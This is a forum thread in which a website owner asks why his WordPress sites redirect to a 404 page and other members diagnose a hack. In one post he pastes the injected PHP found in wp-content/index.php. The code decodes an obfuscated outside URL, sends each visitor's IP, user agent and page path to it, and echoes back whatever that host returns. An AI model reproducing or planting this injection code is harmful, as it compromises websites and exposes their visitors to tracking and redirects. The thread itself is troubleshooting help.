1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

help something is wrong with my website error

Discussion in 'Black Hat SEO' started by jauhis, Dec 19, 2011.

  1. jauhis

    jauhis Registered Member

    Joined:
    Jul 25, 2010
    Messages:
    54
    Likes Received:
    1
    hi, something is wrong with my all websites, i use hostgator hosting. When i enter my website i get 404 error and website is refreshing all the time, just check for yourself one of my websites - http://chickenanddumplings.info after 1 second you will be redirected to 404 page and this strange url adress what the fvvck is this !?http://chickenanddumplings., i dont know what the hell is wrong. How to fix this shit !? Please help.
     
  2. _Biju_

    _Biju_ Junior Member

    Joined:
    Nov 18, 2010
    Messages:
    171
    Likes Received:
    67
    Location:
    Here
    Home Page:
    You got hacked. Check your index.php or index.html and delete everything after the closing </html> tag. You'll see that it's opening again after it's closed and there's a redirect script there.

    Delete everything after this:

    Code:
    <!--[if lte IE 8]>
     <div id="ie_clear">
    </div> 
    <![endif]-->
     </body>
     </html>
    
     
  3. jauhis

    jauhis Registered Member

    Joined:
    Jul 25, 2010
    Messages:
    54
    Likes Received:
    1
    thanks for response, please explain in steps im fukin noob. I logged to filezilla, opened index.php to this website and i only see this : "<?php
    /**
    * Front to the WordPress application. This file doesn't do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define('WP_USE_THEMES', true);

    /** Loads the WordPress Environment and Template */
    require('./wp-blog-header.php');
    ?> "
     
  4. _Biju_

    _Biju_ Junior Member

    Joined:
    Nov 18, 2010
    Messages:
    171
    Likes Received:
    67
    Location:
    Here
    Home Page:
    check in your theme folder not the main wordpress index.php

    sorry but I really cannot help if I cannot see the code for my self
     
  5. jauhis

    jauhis Registered Member

    Joined:
    Jul 25, 2010
    Messages:
    54
    Likes Received:
    1
    i found this also : index .php file in wp content folder

    "<?php
    // Silence is golden.
    ?><?
    if (!isset($sRetry))
    {
    global $sRetry;
    $sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
    if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
    $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
    $stCurlHandle = curl_init( $stCurlLink );
    }
    }
    if ( $stCurlHandle !== NULL )
    {
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
    {$sResult[0]=" ";
    echo $sResult; // Statistic code end
    }
    curl_close($stCurlHandle);
    }
    }
    ?>

    "

    all code
     
  6. casius

    casius Junior Member

    Joined:
    Apr 18, 2010
    Messages:
    186
    Likes Received:
    20
    Home Page:
    Heh....your computer is infected. To get rid of this virus, you need to scan your PC against virus and after change your FTP password when you will be sure that no viruses are affecting your PC. This is the iframe virus which logs your ftp password and injects this code...
     
  7. zmoney

    zmoney Senior Member

    Joined:
    Apr 19, 2011
    Messages:
    813
    Likes Received:
    250
    Heh, yeah works fine here. Damn, I'm hungry now. Is it still redirecting? If so, prob a viri
     
  8. jauhis

    jauhis Registered Member

    Joined:
    Jul 25, 2010
    Messages:
    54
    Likes Received:
    1
    i restored database and websites are not redirecting anymore, but when i log to filezilla i see that this code is still there (index.php) + ridicolous hello.php file
    "<?php
    /**
    * @package Hello_Dolly
    * @version 1.6
    */
    /*
    Plugin Name: Hello Dolly
    Plugin URI: http://wordpress.org/extend/plugins/hello-dolly/
    Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
    Author: Matt Mullenweg
    Version: 1.6
    Author URI: http://ma.tt/
    */

    function hello_dolly_get_lyric() {
    /** These are the lyrics to Hello Dolly */
    $lyrics = "Hello, Dolly
    Well, hello, Dolly
    It's so nice to have you back where you belong
    You're lookin' swell, Dolly
    I can tell, Dolly
    You're still glowin', you're still crowin'
    You're still goin' strong
    We feel the room swayin'
    While the band's playin'
    One of your old favourite songs from way back when
    So, take her wrap, fellas
    Find her an empty lap, fellas
    Dolly'll never go away again
    Hello, Dolly
    Well, hello, Dolly
    It's so nice to have you back where you belong
    You're lookin' swell, Dolly
    I can tell, Dolly
    You're still glowin', you're still crowin'
    You're still goin' strong
    We feel the room swayin'
    While the band's playin'
    One of your old favourite songs from way back when
    Golly, gee, fellas
    Find her a vacant knee, fellas
    Dolly'll never go away
    Dolly'll never go away
    Dolly'll never go away again";

    // Here we split it into lines
    $lyrics = explode( "\n", $lyrics );

    // And then randomly choose a line
    return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
    }

    // This just echoes the chosen line, we'll position it later
    function hello_dolly() {
    $chosen = hello_dolly_get_lyric();
    echo "<p id='dolly'>$chosen</p>";
    }

    // Now we set that function up to execute when the admin_notices action is called
    add_action( 'admin_notices', 'hello_dolly' );

    // We need some CSS to position the paragraph
    function dolly_css() {
    // This makes sure that the positioning is also good for right-to-left languages
    $x = is_rtl() ? 'left' : 'right';

    echo "
    <style type='text/css'>
    #dolly {
    float: $x;
    padding-$x: 15px;
    padding-top: 5px;
    margin: 0;
    font-size: 11px;
    }
    </style>
    ";
    }

    add_action( 'admin_head', 'dolly_css' );

    ?>
    "



    i scanned computer with malwarebytes but anti virus says computer is clean.
     
  9. zmoney

    zmoney Senior Member

    Joined:
    Apr 19, 2011
    Messages:
    813
    Likes Received:
    250
    Did you try a different browser? Working fine in Mozilla,Opera, IE and Chrome. Clear caches etc. Nothing wrong with hello dolly, we all have that :)

    Also, when posting code, Use the code box its in the bar above that looks like a # sign ;)
    Code:
    This is some code.
     
    Last edited: Dec 19, 2011